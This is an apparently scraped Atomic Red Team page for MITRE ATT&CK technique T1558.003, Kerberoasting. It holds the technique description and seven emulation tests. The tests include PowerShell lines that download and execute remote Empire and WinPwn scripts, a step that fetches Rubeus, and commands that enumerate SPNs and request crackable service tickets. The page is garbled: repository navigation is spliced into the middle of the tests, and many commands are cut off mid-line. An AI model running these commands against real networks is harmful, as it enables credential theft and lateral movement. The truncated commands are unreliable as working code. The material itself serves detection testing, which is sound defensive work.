T1558.003 - Kerberoasting

Description from ATT&CK

> Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)
> Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)
>
> Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
>
> This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)
>
> Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.(Citation: SANS Attacking Kerberos Nov 2014)

Atomic Tests

- Atomic Test #1 - Request for service tickets
- Atomic Test #2 - Rubeus kerberoast
- Atomic Test #3 - Extract all accounts in use as SPN using setspn
- Atomic Test #4 - Request A Single Ticket via PowerShell
- Atomic Test #5 - Request All Tickets via PowerShell
- Atomic Test #6 - WinPwn - Kerberoasting
- Atomic Test #7 - WinPwn - PowerSharpPack - Kerberoasting Using Rubeus

Atomic Test #1 - Request for service tickets

This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1 The following are further sources and credits for this attack: [Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/) [Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/) when executed successfully , the test displays available services with their hashes. If the testing domain doesn't have any service principal name configured, there is no output

Supported Platforms: Windows

auto_generated_guid: 3f987809-3681-43c8-bcd8-b3ff3a28533a

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274b
Invoke-Kerberoast | fl
```

Dependencies: Run with `powershell`!

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

Atomic Test #2 - Rubeus kerberoast

Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast This build targets .NET 4.5. If targeting a different version you will need to compile Rubeus

Supported Platforms: Windows

auto_generated_guid: 14625569-6def-4497-99ac-8e7817105b55

Inputs:

Name	Description	Type	
local_folder	Local path of Rubeus executable	Path	$Env:temp
local_executable	name of the rubeus executable	String	rubeus.exe
out_file	file where command results are stored	String	rubeus_output.txt

rubeus_url	URL of Rubeus executable	Url	https://github.com/morgansec/Rubeus/raw/
flags	command flags you would like to run (optional and blank by default)	String	

Attack Commands: Run with `powershell`!

```
klist purge
cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /ou
```

Cleanup Commands:

```
Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

Description: Rubeus must exist

Check Prereq Commands:

```
if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {e
```

Get Prereq Commands:

```
Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_ex
```

Atomic Test #3 - Extract all accounts in use as SPN using setspn

The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output all the SPNs for the related domain.

Supported Platforms: Windows

auto_generated_guid: e6f4affd-d826-4871-9a62-6c9004b8fe06

Inputs:

Files

f339e7d

Go to file

.github
atomic_red_team
atomics
Indexes
T1003.001
T1003.002
T1003.003
T1003.004
T1003.005
T1003.006
T1003.007
T1003.008
T1003
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.006
T1027.001
T1027.002
T1027.004
T1027
T1030
T1033
T1036.003
T1036.004
T1036.005
T1036.006
T1036
T1037.001

Name	Description	Type	Default Value
domain_name	The Domain Name to lookup against	String	%USERDNSDOMAIN%

Attack Commands: Run with `command_prompt`!

atomic-red-team / atomics / T1558.003 / T1558.003.md ↑ Top

Preview Code Blame 335 lines (182 loc) · 10.4 KB Raw

Dependencies: Run with `powershell`!

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

Atomic Test #4 - Request A Single Ticket via PowerShell

The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.

Supported Platforms: Windows

auto_generated_guid: 988539bc-2ed7-4e62-aec6-7c5cf6680863

Attack Commands: Run with `powershell`!

```
Add-Type -AssemblyName System.IdentityModel
$ComputerFQDN=$env:LogonServer.trimStart('\') + "." + $env:UserDnsDomain
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -A
```

Dependencies: Run with `powershell`!

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

Atomic Test #5 - Request All Tickets via PowerShell

The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or

- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040

silver ticket attack. A successful execution will output the SPNs for the domain in question.

Supported Platforms: Windows

auto_generated_guid: 902f4ed2-1aba-4133-90f2-cff6d299d6da

Inputs:

Name	Description	Type	Default Value
domain_name	The Domain Name to lookup against	String	%USERDNSDOMAIN%

Attack Commands: Run with `powershell`!

```
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 |
```

Dependencies: Run with `powershell`!

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

Atomic Test #6 - WinPwn - Kerberoasting

Kerberoasting technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 78d10e20-c874-45f2-a9df-6fea0120ec27

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
Kerberoasting -consoleoutput -noninteractive
```

Atomic Test #7 - WinPwn - PowerSharpPack - Kerberoasting Using Rubeus

PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 29094950-2c96-4cbd-b5e4-f7c65079678f

Attack Commands: Run with `powershell`!

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercont
```

```
Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"
```